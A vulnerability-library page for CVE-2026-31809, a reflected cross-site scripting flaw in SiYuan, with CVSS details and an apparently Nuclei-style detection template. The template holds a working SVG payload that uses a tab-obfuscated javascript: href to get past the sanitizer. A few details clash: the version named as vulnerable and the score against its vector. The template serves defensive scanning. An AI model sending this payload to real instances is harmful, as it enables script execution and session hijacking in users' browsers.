/Vulnerability Library

SiYuan <= v3.5.9 - Cross Site Scripting

CVE-2026-31809
Verified

Description

SiYuan v3.5.10 contains a reflected XSS caused by improper sanitization of javascript: href attributes allowing ASCII control characters to bypass prefix checks in SVG sanitizer, letting unauthenticated attackers execute JavaScript via /api/icon/getDynamicIcon.

Severity

Medium

CVSS Score

6.1

Exploit Probability

1%

Affected Product

siyuan

Published Date

April 2, 2026

Template Author

0x_akoko

CVE-2026-31809.yaml
id: CVE-2026-31809

info:
  name: SiYuan <= v3.5.9 - Cross Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
   SiYuan v3.5.10 contains a reflected XSS caused by improper sanitization of javascript: href attributes allowing ASCII control characters to bypass prefix checks in SVG sanitizer, letting unauthenticated attackers execute JavaScript via /api/icon/getDynamicIcon.
  impact: |
   Unauthenticated attackers can execute arbitrary JavaScript in users' browsers, leading to session hijacking or other client-side attacks.
  remediation: |
   Update to version 3.5.10 or later.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-pmc9-f5qr-2pcr
    - https://nvd.nist.gov/vuln/detail/CVE-2026-31809
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-31809
    epss-score: 0.00584
    epss-percentile: 0.69262
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: siyuan-note
    product: siyuan
    shodan-query: http.favicon.hash:-1450125239
  tags: cve,cve2026,siyuan,xss,bypass

flow: http(1) && http(2)

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/system/version"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'compare_versions(ver, ">= 0.0.1", "<= 3.5.9")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: ver
        json:
          - '.data'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Ca+href%3D%22java%26%239%3Bscript%3Aalert%28document.domain%29%22%3E%3Ctext+x%3D%2250%25%22+y%3D%2280%25%22+fill%3D%22red%22+style%3D%22font-size%3A60px%22%3EClick+me%3C%2Ftext%3E%3C%2Fa%3E%3Ctext%3E&color=blue"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<a href="java&#9;script:alert(document.domain)">'
          - 'id="dynamic_icon_type8'
        condition: and

      - type: word
        part: content_type
        words:
          - "image/svg+xml"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008d6c265a88381fcf39b634d10d83a4b8dee11f1e729f0c4237a14c90390d9e55022100ab2b812191911b682f4357a9364a38bceae41559852fc4c032c2ca3803016536:922c64590222798bb761d5b6d8e72950
6.1Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CVE ID:
cve-2026-31809
CWE ID:
cwe-79

References

https://github.com/siyuan-note/siyuan/security/advisories/GHSA-pmc9-f5qr-2pcrhttps://nvd.nist.gov/vuln/detail/CVE-2026-31809

Remediation Steps

Update to version 3.5.10 or later.